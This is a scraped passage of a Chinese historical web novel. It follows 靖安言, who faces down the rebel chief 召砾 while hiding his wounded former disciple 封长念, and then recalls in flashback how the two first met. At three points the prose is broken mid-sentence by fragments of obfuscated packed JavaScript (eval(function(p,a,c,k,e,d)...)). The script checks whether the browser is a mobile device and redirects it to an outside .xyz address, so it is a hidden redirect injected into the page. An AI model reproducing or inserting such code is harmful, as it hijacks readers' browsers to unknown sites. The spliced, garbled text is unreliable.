靖安言:“……” 此刻夷月吵吵嚷嚷的阻拦声已经到了门口,靖安言烫着指尖,只得留下一句恶狠狠却实在没什么威慑力的“看我一会儿怎么收拾你”,然后重重地捂住了被子。 夷月的嗓音将他的心悸压下:“我都说了他还没起,你——” 一道威严粗犷的声音盖过少女的气急败坏:“夷月,我看在你父亲面子上不动你,但你别自讨苦吃。” 靖安言抬眼,门被人一脚踹开,一个身材高大的男人就这么堂而皇之地闯了进来。 男人不过三十出头,一身常年征战在外晒出的小麦肤色,右肩和右臂裸露在外,满是有力健壮的肌肉。 这就是南疆圣酋召砾,南疆王座下第一猛将,如今带头造反,就连南疆王都不得不避其锋芒,转而向大魏求援。 “召砾——!!”夷月脸上满是惊慌,“……我都说了我干爹在休息!” “我听到了,如今也看到了。”召砾抬起一指放在鼻端,嫌弃地挥了挥,“好久不见了,靖先生。” 靖安言放松了脊背,唇角带笑:“好久不见了,圣酋大人。今日来此,不知有何贵干啊?” 他一副毫不在乎的神情,全然没有敌军已经兵临城下、直捣老巢的惶恐,哪怕他那敏锐的听力已经察觉到召砾并不是孤身一人而来,召砾的亲卫将这座小院围了个水泄不通,且各个骁勇善战。 但他还是不怎么在乎的样子,这幅模样让召砾气得牙根痒痒。 “没什么,靖先生踪迹难寻,好不容易让人找到藏身之处,怎么不也得来拜会一下?”召砾微嘲地笑了声,“休息还燃这么重的香?真不怕喘不过气来憋死了?” “那倒不至于,是个人总有些癖好,本人一向精细惯了,喜欢焚香烹茶、弹琴听曲,只得其乐,不知其苦。圣酋大人没享受过吗?要不要来一同品鉴品鉴?” 他一边说一边轻佻地拍了拍被子,掌掌都落在封长念背上,力道被厚厚的被褥一拦正好,像极了从前他惯常去揉封长念发顶的力道。 但在召砾看来,他那模样艳丽非常,如同什么不三不四的妖混进了人堆里,脸色渐渐阴沉。 靖安言气不死人不偿命,又做出一副恍然大悟的样子来:“都说了我在休息,圣酋大人莫不是也有些不可告人的癖好,比如,喜欢看别人睡觉?” “靖安言!”召砾猛地一拳打出去,木制的衣柜刹那间被凿穿了个洞,“总有一天老子要撕了你这张惯会花言巧语、胡言乱语的嘴。要不是……我不跟你废话,戈齐呢!?” “戈齐?我怎么知道啊。”靖安言惊讶地微微坐直了身体,“他不是你手下的人吗?怎么人跑了?不见了?那怎么上我这儿来讨了呢。圣酋大人,我和戈齐可没什么交情啊。” “你在说什么屁话!?” 只听咔嚓一声,召砾居然硬生生摆下一截柜门,卯足了劲儿冲着靖安言面门就掷了过来! 靖安言反应极快,左手一翻立刻将枕头抛了出去,尖锐的木头和柔软的棉枕当空对撞,砰地一声,双双坠落。 靖安言目光收回,吹了声口哨:“圣酋大人,拆家是要给我补钱的。” “靖安言,别说废话,昨晚南疆王是让你来迎接大魏援军的,本酋已经清查过了!神寂岭中少了个人,除了你还能是谁带走了?!”召砾攥紧了拳,“戈齐明明召唤的蜂群就在附近,若不是他传信,我会在这儿?” 靖安言微微正色:“所以,你到底是来这儿要戈齐的,还是翻大魏人的?” “都要!”召砾怒吼道,“别以为给老子泼脏水老子就能认栽,神寂岭大魏援军身亡根本不关我的事!我正想见见大魏援军,看看谁在大魏面前颠倒黑白。” “靖安言,我是看在你是大魏人的份儿上才跟你好言好语。我不信你一个在大魏活了十九年的人,难道真不知道谁才是乱臣贼子、谁才是贼寇入侵,谁才是南疆正统?!” 靖安言面上波澜不惊地听着,手却悄悄探进了被子里,准确无误地抚住了封长念的脸,压制住了被褥下那人躁动的情绪。 他再抬眼:“圣酋何意?” “靖安言,醒醒吧。你帮我一同将南疆王驱逐出南疆,我们才该是一个阵营里的人!你把那个幸存的大魏人交给我,我会告诉他击破南疆王的办法,把贼寇驱逐出南疆,大魏南部才能安定,神寂岭外才能不起争端。你才能过上你梦寐以求的安生日子。” 召砾甚少如此循循善诱的说话,就连眉上的刀疤都显得柔和起来:“我不知南疆王到底用了什么手段和利益让你如此死心塌地为他做事,但你比任何一个人都知道南疆的情况,所以你该知道我说的没错。最后问你一遍,戈齐和那个大魏人,在哪里?” 靖安言定定地瞧着他。 然后笑了:“圣酋大人的故事讲得很动听。” 召砾一怔。 “可惜了,一人不侍二主,在下已经叛过一次旧主,从大魏来到了南疆,再度叛变跟大人打天下,那成什么了?估计圣酋大人也不会十分信我吧。” 靖安言手指轻轻拂过封长念的耳垂:“……背叛的滋味,在下不想再尝了,圣酋的橄榄枝太高,在下爬不上去。至于什么戈齐还有什么大魏人……这是我能给的唯一一个明确回复——我不知道你在说什么。” “靖!安!言!!!” 召砾猛地从腰间抽出长刀,南疆人人蛊师,但这位圣酋大人不止蛊术过人,冷兵器也不遑多让。 手掌下的人微微一动,又被靖安言死死按住:“在呢。” “敬酒不吃吃罚酒——” 烈烈长刀带着罡风直逼面门,靖安言不闪不避,直直地瞧着他的刀刃逼近,冷冷开口:“我知道大人想杀了我。但我也知道,你不会真的杀了我。” 刀锋在他鼻尖三寸停住,只削去他半缕发丝,靖安言只是瞧着他的眼睛笑:“因为我身上,还有大人想要的东西,不是吗?” 召砾猛烈地呼吸,似乎想以此将怒火平息掉。 靖安言二指轻而易举推开他的刀尖:“要不为什么,你不敢杀我呢?动手前想清楚了,有些事情、有些东西,在南疆能做到的人只有我。” 此言一出,不光是召砾,就连被褥下的封长念呼吸都是一滞。 墨痕剑已然出鞘半寸,靖安言的手却依旧很稳,丝毫不见慌张,底气十足得令人害怕,封长念摸不清局势不敢妄动,只能尽可能地放缓呼吸,掩藏踪迹。 直到这一刻,他实实在在地懵了。 什么叫……南疆以内只有他???

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412508|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 靖安言和南疆有什么关系?他一个土生土长的大魏人,怎么会能做到南疆人都做不到的事情? 靖安言的手终于从他的耳垂上拿了下来。 虽然一道视线都没有落下,但靖安言二指一转,准确无误地将墨痕剑推回了剑鞘之中。 声音与召砾收刀的声音重合,那人退了两步。 “要不是为这个,你以为当年南疆王能留你在身边?”他狞笑道,“好,是,我的确在意,但没关系,山水有相逢,没了你靖安言,我就拿不下南疆不成?” “不过你要想好,待我拿下南疆之时,我绝对不会让你死了,所以你最好祈祷,等我杀掉南疆王,你能藏得好些,不然到时候我要的可就不止那件东西了。” 靖安言微微一笑,十足的风范示意他请便。 召砾一抬手,气势汹汹地走了。 蓦地,走到门口又补了一句:“虽然昨晚截杀大魏援军之事不是我做的,但我也提醒你,昨天神寂岭中的蛊毒只能解其一不能解其二,跑了的那个大魏人如果和你有什么渊源,劝你还是管管他,否则,容易死。” 他说完这话扬长而去,夷月趴在门口见他们一行人终于浩浩荡荡地走了,这才心有余悸地呼出一口气,紧紧地关上了门。 “吓死我了,演的还行吧,刚才还好没露馅。”夷月问道,“不过他最后说那话什么意思?!封哥这毒难道没能彻底解吗?” 靖安言一把拉开被褥,大夏天的给封长念闷得不轻,额角都是沁出的细汗,就连肩伤也有些被闷得过了的迹象,需要重新进行包扎。 但这些靖安言都没顾上,封长念刚刚启唇想问些什么,就被塞了一枚药丸。 “我看看。”靖安言眸色低沉,“你先别说话。” 封长念只好闭嘴,那颗有异香的药丸顺着他的喉管滚落,靖安言伸出手搭在他的脉上,一瞬不瞬地瞧着他的脸看。 夷月紧张兮兮地问:“怎样?” 靖安言的眉一点一点皱了起来。 “圣酋说杀大魏援军不是他的手笔,可这么做除了他获利之外,还能有谁呢?”夷月不安地将阿银搂在怀里,“干爹,召砾说得有几分可信?” 靖安言手指动了动:“七八分。” 那就是大概率是真的了。 召砾武艺高强,但蛊术没有如此精湛,这样只能解其一不能解其二的蛊,以他的水平还真的下不出来。 那就只有…… 靖安言深深地吸了一口气,视线依旧落在封长念那俊朗的五官上。 封长念被看的有些无措,刚想说些什么,听靖安言又道:“你闭上眼。阿月,去帮我准备些新的绷带来,他伤口又开裂了。” 夷月出了门,封长念乖乖照做闭上眼睛,却又不大理解为什么。 还以为是解蛊所用,却听靖安言轻笑了一声。 “……好多了。”靖安言捏着他的腕子,“怎么你一瞧我在看你,脉搏就跳得这么快?原来不怕师长,现在越活越回去,害怕了?” 封长念:“……” 靖安言不依不饶:“刚刚咬我不是还挺理直气壮的?” 封长念搭在膝头的手缓缓攥紧了。 靖安言逗完了他,这才缓缓地收了手,示意让封长念睁眼:“支走阿月是有事要跟你聊,好消息和坏消息,听哪个?” “坏消息。” “召砾说得对,毒没解开,那是一种蛊,是我大意了。”靖安言双手搭在膝头,有些懊恼,“下蛊的人手段复杂,这个蛊我解不了。” 封长念手指无意识搓动了一下:“好消息呢?” “我解不了,但有人能解,不过这个人你最好不要亲自见他,我会去帮你找。” 靖安言缓缓叹了口气,知道说这话估计会被反驳,但他还是要说:“我的意见是,长忆,此地不宜久留,解药我会差人给你送过去,你不懂蛊术,又遭埋伏,这里只会越待越危险。” “啪”,靖安言的小臂被人攥住了。 封长念身体微微前倾,带着些急迫:“你这是……让我走?” 靖安言表情冷酷得很:“对,回到大魏去,不要再来掺和这里的事。” 8.念想 很早很早之前,封长念其实有一个习惯。 那个时候他师父带他师兄们比较多,他则大多数时间都跟着靖安言跑,于是晚上睡觉前,会构思一下第二天他们要去的地方、要说的话、要做的事,然后怀揣着念想沉沉入眠。 当时他只以为是习惯了跟着靖安言,无论是一起吃饭还是一起练剑、跑马,他以为这种念想不过是对第二天的简单期盼而已。 可在靖安言走后,他入睡的时候脑子里再也没有过构思,而是期待着第二天一睁眼,会不会发觉一切都是梦,醒来时,那个不比自己大多少却硬长辈分的小师叔还会坐在门口那棵大树上,悠哉悠哉地等他起床。 后来,他知道这种情绪是只会随着靖安言而滋长的特殊,靖安言像是一颗大树,走时就会将那些名为情绪与期盼的果子一起连根带走,只留下空旷的一块树坑,无论怎么浇灌都再开不出一枝花。 他那时才明白,原来那种情绪叫做喜欢。 他喜欢和靖安言在一起,喜欢看他笑,喜欢听他说话,喜欢跟着他做任何事情,去任何地方。 昨夜,云雨后的昏沉中,那些久违的念想再度滋长,他想,他一定要好好问个清楚,关于当年靖安言放火叛逃的真相,然后光明正大带他回家。 他已经长大,有手腕有人脉、有地位有权利,他不必再跟在靖安言身后,他可以站在小师叔的身前遮风挡雨。 可什么都没来得及说,接二连三的变故让人始料未及,如今靖安言目光平淡得像一面湖,让他离开仿佛不过谈论天气几何。 封长念紧紧攥着他的小臂不松手:“你我见面不过十二个时辰,你让我走。” “封珩。”靖安言试图抽出自己的手,发现封长念力道甚大,根本掰不动,“……性命要紧。” “性命?”封长念眸光闪烁,“我若真的在意性命,今时今日、此时此刻,我会在这儿吗?” 靖安言回答:“……一切不过一场意外。” “那是你以为的意外。”封长念驳了回来,字字铿锵,“我是礼部尚书,礼部!我一个文臣,却带领大魏援军来到神寂岭、来到南疆,为什么?满朝武将难道是吃白饭的吗?” 靖安言别过头:“……你们大魏的排兵布阵不必与我讲。” “我是在告诉你,不是什么意外,是我自己、我自己请命要来的。”封长念紧紧扳住靖安言的双肩,“除了这样,我怎么才能进南疆,怎么才能见到你,十年了,十年整!你把我丢在城门外十年整了!小师叔!!!” “封长忆!”靖安言蓦地拔高了音调,“礼部尚书又怎么,我看你脑子依旧拎不清。此蛊术复杂难解,除了召砾以外还有谁知道昨天你们要进神寂岭?你以为这趟浑水这么好趟?!” 除了圣酋这个“敌人”获悉援军动向之外。 还有南疆王这个“自己人”知道他们要来。 大魏与南疆虽然是宗藩关系,但其实这么多年关系并不好,南部边境来自南疆的骚扰从未平息过,若非如此,大魏也不会专门成立玄门来对付南疆蛊术。 请援的背后只会是更深的博弈,表面上看是大魏帮助南疆王维护南疆稳定,可各方都有自己的打算,在这场争夺中,各个想当那只螳螂捕蝉之外的黄雀。 若是别人也就罢了,靖安言大可以作壁上观,可偏偏是封长念。 他对大魏的念想不多,封长念算是一个。 “回去换人,立刻换人!你身受重伤,本来就是文臣,在这里逞什么强?你还以为你自己是——” “我什么都知道。” 封长念依旧牢牢地攥着靖安言的肩膀,盯着他盛怒的眼睛,却骤然放软了语气,在靖安言微微怔愣的目光中再度重复:“我什么都知道。” “大魏不是傻的,对南疆王、圣酋都了如指掌。我知道我身上的毒来自于南疆王。他这一手怕就是为了等着幸存的中蛊之人不得不见他,”封长念缓缓松开手,“你想找的解药,所说的那个能解的人,不就是他么?” 靖安言错愕地盯着他,看他露出个苦涩的笑来。 “别这么看着我,我来的时候跟陛下就下过军令状,连玄门我都安排好了,若我有意外,门主之位会传给别人。” 他深深地吸了一口气:“我只是为了,为了再见你一面,小师叔。” “封珩。”靖安言终于找回了自己的声音,“……十年前我就差这一句,你追到国境线,如今又追到神寂岭中、南疆腹地,只为了见我,为什么?” 他非常不可置信地问:“……我是曾经,毁过你什么东西吗?让你这般放不下。” 夷月把刚才没做完的饭热了,之后又拿绷带把阿银量了七遍,才终于觉得差不多了,慢悠悠往屋里走。 一推门,屋内两个人一个坐着一个站着,空气寂静得可怕,夷月望了望手里端着的热粥,直呼怕不是要被冻凉了。 “你们……吵架啦?”夷月看看靖安言,又看看封长念,还是先朝她封哥蹭过去了,“切忌动气啊,封哥,蛊毒这种东西随着血脉流动,越动气发作得越快,你现在需要平心静气,安稳休养——喏,你小师叔做的粥,喝一口?” 封长念垂眼去看那粥,色泽鲜艳,香气扑鼻,但他分明记得曾经的靖安言是个四肢不勤、五谷不分的人,平日里无论是靖府还是玄门内都有专门做饭的下人,偶尔兴致来了就带封长念去下馆子。 曾经的靖安言大言不惭:“下厨?君子远庖厨——我今天刚熏了衣服,闻闻,栀子花香的,一进厨房全都成油烟味儿了,我才不去。” 如今的靖安言死鸭子嘴硬:“要不呢?我也不能饿着吧,南疆谁给我做饭啊?这小丫头?” 封长念闻言笑笑,主动接过了夷月手里的碗:“多谢夷月姑娘。” “封哥叫我阿月就好,他们都那么叫。”夷月哄好了一个,蹦过去敲她干爹的肩膀,“好赖不计比我们长一个辈分呢,长辈不动筷,小辈哪里敢动嘴啊。” 靖安言讶异地望着她,仿佛第一次认识她:“平时你少在我前面吃了?” 夷月鄙视地给他递眼色,靖安言纡尊降贵地甩甩袖子,从夷月手里拎过那只白瓷勺,在封长念眼前的粥碗里搅了搅,然后啪地松了手。 “赶紧吃吧,别看了,一会儿真凉了还给你再热一遍。”靖安言挑了挑眉,“怎么着封大人,还要小的伺候着?给你吹吹送到嘴边?” 呃……这倒也不必。 封长念难以想象靖安言要怎么给他“吹吹”“小心烫”,光是想想这两句话都直搓胳膊。 “我是真不想不明白啊,怎么有人连命都不在乎呢?”靖安言看他脸色稍有缓和,“我毁了你最重要的东西,我怎么不知道?那把火烧干净的?你看你又不说了。” 封长念抿着里面切得细碎的肉末,连眼都不抬。 不是生气,只是不知该如何面对。 他听见靖安言问他那句为什么的时候,心里如同打翻了五味瓶,实在是不是滋味儿极了。 你不知道?你不知道昨天晚上我邪火作祟,是你上了我的床。 你不知道?你不知道昨天晚上你亲口说我心心念念你那么多年。 你不知道?你不知道我……喜欢你吗? 否则我为什么会与你春宵一度,若换了旁人,我就是死,我也绝不会…… 封长念咽下口中香糯的米粒,对上靖安言探究似的眼,心底长长地叹息了一口气。 或许他不是不知道,只是不想承认。靖安言这个人会装傻惯了,他不想提说明他也觉得此情不能得见天日。 同为男子,还为同门师叔侄,他当时意识到自己对靖安言动了心的时候都暗地里抽过自己巴掌,更何况靖安言这从来就没对任何男人动过心的人呢。 罢了,罢了。 他咽下最后一口粥,抬眼对上靖安言的眸子。 靖安言眸色偏浅,阳光一照流光溢彩,更像个妖孽。 对付妖孽,就要先下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人前脚进了成衣店,靖安言靠在门外,盯着封长念的背影,依旧百思不得其解。 还真让这小子跟上来了,甩都甩不掉的那种。 或许……现在脚底抹油开溜?让夷月带他去?自己不在,总不至于还非要留在南疆了吧。 他刚有这个念头,仿佛心有灵犀似的,封长念蓦地回头,在熙熙攘攘的人群中精准地抓住了靖安言的身影。 然后他对夷月说了些什么,小姑娘点了点头,逆着人群就跑过来了。 “干爹!” 靖安言觉得自己的脸都木了:“怎么了?” “封哥说他不知道怎么穿南疆的衣服,我一个姑娘家又不好帮手,你进去帮帮忙呗?”夷月示意了一下,“他说他胳膊不好抬。” 骗鬼呢?! 靖安言很想把这句话扔给封长念,隔着人群,他似乎都能看到封长念无辜的目光,那双圆润的眼睛看着人畜无害,薄薄的眼皮在眼尾本收了个略微下滑的弧度,然而此刻却微勾,藏了些小得意的笑容。 靖安言运气三周,还是进去站定在封长念跟前:“先挑衣服再上身,这眼睛不是挺好用的吗?” 封长念微微一笑,动了动唇,奈何人流量太大,环境因过于嘈杂,靖安言没听清,又往前凑了凑。 这一凑,封长念看着近在咫尺的耳尖,白里透着粉,他用尽浑身定力才没有凑上去:“我说……多谢小师叔。” 什么毛病。 有些灼热的呼吸弄得靖安言一痒,猛地回撤,封长念却只是有些落寞似的,笑了笑后自顾自去挑衣服了。 夷月没察觉到那些暗流涌动,趁机悄悄跟他咬耳朵:“封哥在大魏,是文臣还是武将啊,我看他功夫好得很。” “文臣。”靖安言眯了眯眼,“功夫是好的很,但是是文臣。而且,除非现在的皇帝有几分良心,否则他这一身功夫便只能摆着看了,一辈子都不会当武将的。” 夷月奇怪道:“为什么?这么好的身手。” “因为……”靖安言勾了勾唇,那笑容有些苦涩,替封长念苦涩,“因为他是那个人的儿子。” “大魏五军都督府之西,西域上空永远飘动的封家旗。” “他本是绥西侯家的小侯爷,西军都督府的小将军。” 9.今心 大魏昭兴四年春,西域边境大捷。 西军都督府大都督封铭率十万精兵,大破敌军,将沙宛国兵马逼退三十里,险些直捣沙宛王宫,吓得国王紧急上书至长安,连连讨饶,才没被封大将军斩于刀下。 昭兴皇帝宋启迎龙颜大悦,破例将封铭册为“绥西侯”,一时间,举国同庆,等扫尾事毕,绥西侯封铭风光入京,得百官庆贺之余与皇帝欢畅痛饮,成了当时炙手可热的大人物,就连暂住的驿馆都门庭若市,几乎要被拜访的人踏破门槛。 靖安言自己晃荡着去城郊跑马玩儿的时候,刚被他爹耳提面命完。 “安言,你今年都十六了,也该懂得人情世故,不能天天只想着拿着你那把剑云游四方,你是靖家小公子,你亲姐姐是当今皇后,你再跑能跑哪里去?” “好,你有志气,你清高,你不想入官场,但你已经在玄门里了,那就是半只脚已经在官场里了,旁的不说,你看看你师兄师姐,岳峰和廖宁今天早上脚前脚后也去拜访了绥西侯,你不是一向跟他们走得近?你怎么不学学这些好的呢?!” “靖安言,你回来,你听见没有,非要我请你师父来是怎么的——” 聒噪,好聒噪。靖安言将长剑扛上肩头,一只手拍了拍耳朵。 靖深年纪没多大,话倒是比以往碎了特别多,叽叽喳喳没个完,只要他在他爹面前晃悠,他爹就一副痛心疾首的样子,仿佛自己本来是个参天大树的苗子,却不思进取地趴了窝。 春末的天空格外晴朗,靖安言寻了个干净草皮,把剑往身后一扔,摊开四肢就往茂密的草坪上一躺—— 趴窝?那也看趴什么窝。 他可不觉得不打算进官场就是不思进取了,想他一手好剑法,连他师父都说他如今的剑术无人能及,那么这样一身本事,不去济困扶危、开疆拓土,天天往官场里一泡,戴上一副假面推杯换盏、阿谀奉承,高呼万岁万岁万万岁。 没劲,没劲透了。 他这一生,就该在四处奔波,偏安一隅这种事儿,靖安言骨子里就做不出来,他不是个安分的性格,从小就是。 他试图跟他爹讲过这个道理,每每这个时候他爹就更痛心疾首了:“当武将,把命悬在刀尖上有什么好——” “所以我说我要去扶危济困,云游四方啊!”靖安言终于找到了反驳的话头,“爹,您也知道,当今圣上崇文抑武,五军都督府里,哪个不是他精挑细选的人,他有多害怕这皇位被夺走,您不知道?” 靖深一般到这个时候就只会幽深地望着他。 于是他继续说:“姐姐是当今皇后,所以爹你也只能当个文官,当今圣上害怕外戚专权,只要姓靖,他就不可能给我个实权,让我干什么实事的。如此,我还不如云游四方,来得痛快。” 接下来就是抽人了,靖深一个文臣,却偏偏能掏出半人高的大棒,追着靖安言满院子跑。 结果当然是没抽着,春末的风还带着些冷,靖安言打了个哆嗦,从那即将砸下来的大棒中回神,睁开了眼睛。 然后他就看见了一个堪比大棒的东西,对着他的脸踏了下来。 ……哎不是,怎么个事儿?他还没醒吗?! “等会儿——!!!” 靖安言厉声嚷起,一咕噜翻身爬了起来,脑袋上还顶着有些杂乱的草茎,对着险些一脚踩了他俊脸的人怒目而视:“怎么回事儿?这还有个人呢!你——” 靖安言把骂人的话憋在了唇边。 对面这人好像在哭。 说在哭不大恰当,面前的人漂亮极了,眼皮连带着眼尾红红的,像是抹开了艳丽的胭脂,那双眼睛微微垂着,里面有潋滟的水光,却倔强地只任由其在眼眶里打转,没有落下来。 “你……”靖安言语气软下来,“不是,我没说你什么啊,好吧好吧,我当你没看见吧,别哭啊小丫头。” 他自以为这番好言好语安慰人,没想到一下踩到了对方的尾巴,像是一只炸了毛的猫。 “你说谁小丫头!?”这人眼睛一瞪,那点儿红都成了凶狠的颜色,“我怎么就是小丫头!?” 靖安言:“……” 认错了。 少年专注着委屈,低着头的时候眼睫浓密得很,他还以为…… 但靖安言那个时候脾气也大得很,看对方凶上来了立刻反咬回去:“认错了呗,你凶什么,认错了能让你少块肉?而且要被你踩了的人是我,我还没凶呢,你小子倒是先凶上了哈?!” 两人气焰一人比一人高,到最后少年猛地抽出腰间佩剑,凛冽的剑光自靖安言颈侧一闪而过,擦去他半缕发丝。 靖安言眼睛一眯:“好啊,动手是吧?!” 在他面前使剑,在靖安言心里就等于关公面前耍大刀——你跟我在这儿班门弄斧?老子使剑怕你啊!! 墨痕剑被他一掌拍起,擦着少年的剑意就刺了回去,靖安言那身白衣舞成了天际的流云,快得让人眼花缭乱,少年一闪二闪,实在躲不过,只能双手持剑,硬生生扛下凛然的剑身。 铮——少年一双手腕都被震麻,震惊之余瞥了一眼靖安言,这人单手持剑,狠厉下压,那持剑的角度与腕中的力道都让他明白,此人是个用剑高手。 单说那腕力,就不是一朝一夕能够练成的。 靖安言一勾唇角:“小子,现在认输还来得及。” 少年咬紧牙关,提剑再欲冲上前。 “封珩!!!” “靖安言!!!” 一男一女交织的喝声传来,二人都是一怔,分神望去,正是靖安言一双师兄姐。 “怎么打起来了?”廖玄静拦在二人之间,望着的却是靖安言,“靖伯父说你出来没多久,怎么这么快就动手了?” 靖安言收剑,冲一旁的少年努嘴:“你问他。” 岳玄林已经在问了:“如何?阿珩,没事吧?” 少年封珩摇了摇头,默默地将剑收了回去,偷偷地揉了揉自己被震得发麻的手腕。 连名字都知道,这一看就是认识,靖安言瞥了他们一眼,悄悄问廖玄静:“师姐,什么情况啊?” “你差点儿闯祸的情况。”廖玄静捅了他一下,“过来,阿珩,真是不好意思,今天之事是个误会,本来该去驿站接你的,可我和你师父去了才知道你不在,这么晚才找过来,还险些……” “……玄静师叔不必如此言说,此事怪我自己乱跑。”封珩抬起一双微微泛红的眼睛,“我自会秉明父亲,认领家法,以做惩戒。” “哪有惩戒不惩戒一说,都是误会。再者而言,侯爷……侯爷也定能理解。”廖玄静怜惜地摸了摸他的头,“先不说这些了,这里风大,有话回去说吧。” 廖玄静一副对封珩心疼不已的模样,靖安言索求答案无果,只好跑去问他师兄:“这孩子是——” “绥西侯家的公子,封珩。”岳玄林为难地蹙着眉,“一言难尽,总之,他不跟侯爷回西域了,留在长安教养,陛下让我收他进玄门为徒,算下来是四弟子。” 靖安言蓦地沉默下来。 岳玄林觑他一眼:“怎么……你笑什么呢?” 还笑得那么诡异。 靖安言摆摆手,示意无碍,心里却道有什么一言难尽的,这不是很容易就想到的事。 你看,你看,他就说,在宋启迎手底下当武将能讨得几分好?封铭这边刚封了侯爷,荣膺加身,风光至极,封无可封,转头儿子就会被扣在长安城。 那是留在这里教养吗?那是当质子的! “行了,收收吧,”岳玄林敲了下他脑袋,“小弟子入门还没正式拜师,先和自己小师叔打起来了,你可真有本事。回头给人家孩子哄哄,就你那两招,别让人家更觉得留在长安是故意欺辱他。” “我能和那谁一样?”靖安言不服,但望向封珩的背影里也渐渐弥漫了些同情的情绪。 绥西侯家的公子啊,众所周知,绥西侯家中只有一位夫人,体弱多病,留下一子后便撒手人寰,留下这父子俩干巴巴地过日子。 这是亡妻唯一的骨血,也是封铭唯一的孩子,看他那倔强又老成的模样,再加上使剑的力道,想必是从小就当小将军在养的。 然而雏鹰一朝被困于笼中,乳虎一朝被拔了爪牙,便只能任人宰割、仰人鼻息,小将军从此要远离那宽阔爽朗的西域疆场,离开那一望无际的天空与旷野,在长安城中兢兢业业地度日如年。 他忽然有种预感,宋启迎把人扣在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14430014|153114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,或许,真的要断了这孩子的武将之路。 啧,利剑不能出鞘,只能明珠蒙尘,多可怜。 怀抱着怜爱的情绪,在封珩拜师入门的当晚,靖安言抱着一坛酒、一把剑,溜溜达达到了封珩的屋前。 屋里燃着灯,人没睡,影影绰绰能看见这孩子还扎着马步看着书。 这刻苦劲儿,宋启迎真不惜才。 惜才的小师叔用剑柄笃笃敲了两下窗,就说这人不走寻常路,一般人有事来找都敲门,大半夜的窗户被敲响,封珩正专注看书,闻声被吓了一跳。 他惊魂未定地掀开窗,迎面被靖安言那一身白衣晃了眼,比月色还亮三分。 比白衣还明亮的是靖安言的笑:“这么刻苦,挑灯夜读呢?” 封珩垂下眼,不大爱搭理他:“三师叔有事吗?” “这不看完你拜师礼,寻思着当师叔的,怎么也得表示表示。”这人是还记着他们俩二话不说抄剑就打的仇,靖安言刮了刮鼻梁,“我早上睡过了,没看到给字那段儿,你字得了什么?” 玄门每一辈弟子从同一字,就好比靖安言这一辈从“玄”字,因此又别名玄门玄字门,下一辈从“长”字,封珩之前三位师兄,分别得了“庭”“思”“记”的字,都是好意头好名字。 “忆。”封珩抓着窗口,特别像想赶紧把这尊瘟神送走,“封长忆。” “封长忆。”靖安言将这三个字在唇齿间嚼了一遭,“好名字啊,小长忆。” “小长忆”又风流又轻佻地从他嘴里蹦出来,封珩下意识攥了下窗框,看起来很想把这扇窗户拍他脸上。 但他还是很有涵养的人:“三师叔还有事吗?” 他要关窗户了。 “有——”靖安言眼疾手快按住窗,“算了,直说吧,还生气呢?你气性倒不小啊。小长忆,当时是误会,我这个人呢脾气也急,但不是故意欺负你,别生气了,好不?” 封珩不说话,一双黑黑的眼睛直勾勾地盯着他。 靖安言妥协了:“好吧,你看,为了赔罪,我可是带了十足十的诚意来——喏,这把剑,送你了。” 封珩一怔,怀里就被不由分说塞了一柄长剑,正是当时他们二人打架的时候,靖安言使的那把。 “别嫌弃啊,这剑可是我师父给我的,唔,也就是你的师祖,玄门前门主左朗左清明,剑是好剑,你用着绝对趁手。” 封珩手指拂过剑鞘上精美的花纹,心道靖安言确实没诓他,但还是问:“……你给我剑干什么?” 我这不是哄你吗!? 靖安言这辈子的耐心都搭上了,慢条斯理道:“不想让你接着生气,觉得我这个小师叔不是个东西,同时那日比剑我也发现了,你根骨很好,天分也有,如果专心习剑,假以时日必定剑术佼佼。” “……可我那日不是输得很惨吗?” “哎哟,哪有,那是因为你遇上的是我,你这个年纪,能有如此水平已经很不错了,”靖安言想了想,“和你一般大的,在我手底下一般都过不了三招,你已经很厉害了。我知道的也就有一个人,剑术在你这个年纪比你强几分。” 封珩来了兴趣:“谁?” 靖安言颇为骄矜:“我。” 封珩:“……” 这人到底是来哄人的还是来气人的!? 靖安言看这人冰山一样的表情终于有了些松动,别管是气的还是乐的,总归有了些变化,那就是好事。 封珩是真的被气乐了:“好吧,那我多谢三师叔了。” “客气,我还带了酒。”靖安言拎起酒坛晃晃,“要不要跟我喝两杯去?这叫冰释前嫌。” 封珩算是懂了,这人脾气大心更大,只好叹了口气:“说起来,还从未请教过师叔的名字?我只听师父和玄静师叔叫你大名,不知师叔玄门字是什么?” 他师父岳峰,性子沉稳,承担着辅佐皇帝的重任,因此字玄林;二师叔廖宁,医术佼佼,玄门本就为蛊毒而设,于是医道一术更是重中之重,因此字玄静。不知道这位三师叔靖安言这样洒脱不羁又放浪形骸之人,字会是什么。 “你一直不知道啊,我以为你听见过呢。”靖安言笑,“今心念。我字玄念,靖玄念。” 10.兑现 两个人就这么混熟了。 封珩这才知道这人虽然占了个高辈分,但却只比自己大五岁,他第一次见到岳玄林和廖玄静对他那般亲切,还以为是自己的师兄,三人站一块儿靖安言那一身的少年气太明显了。 对此靖安言是这么说的:“没办法啊,我和我姐姐年纪差得多,但到底是姐姐,所以连带着我的辈分就抬了呗。” 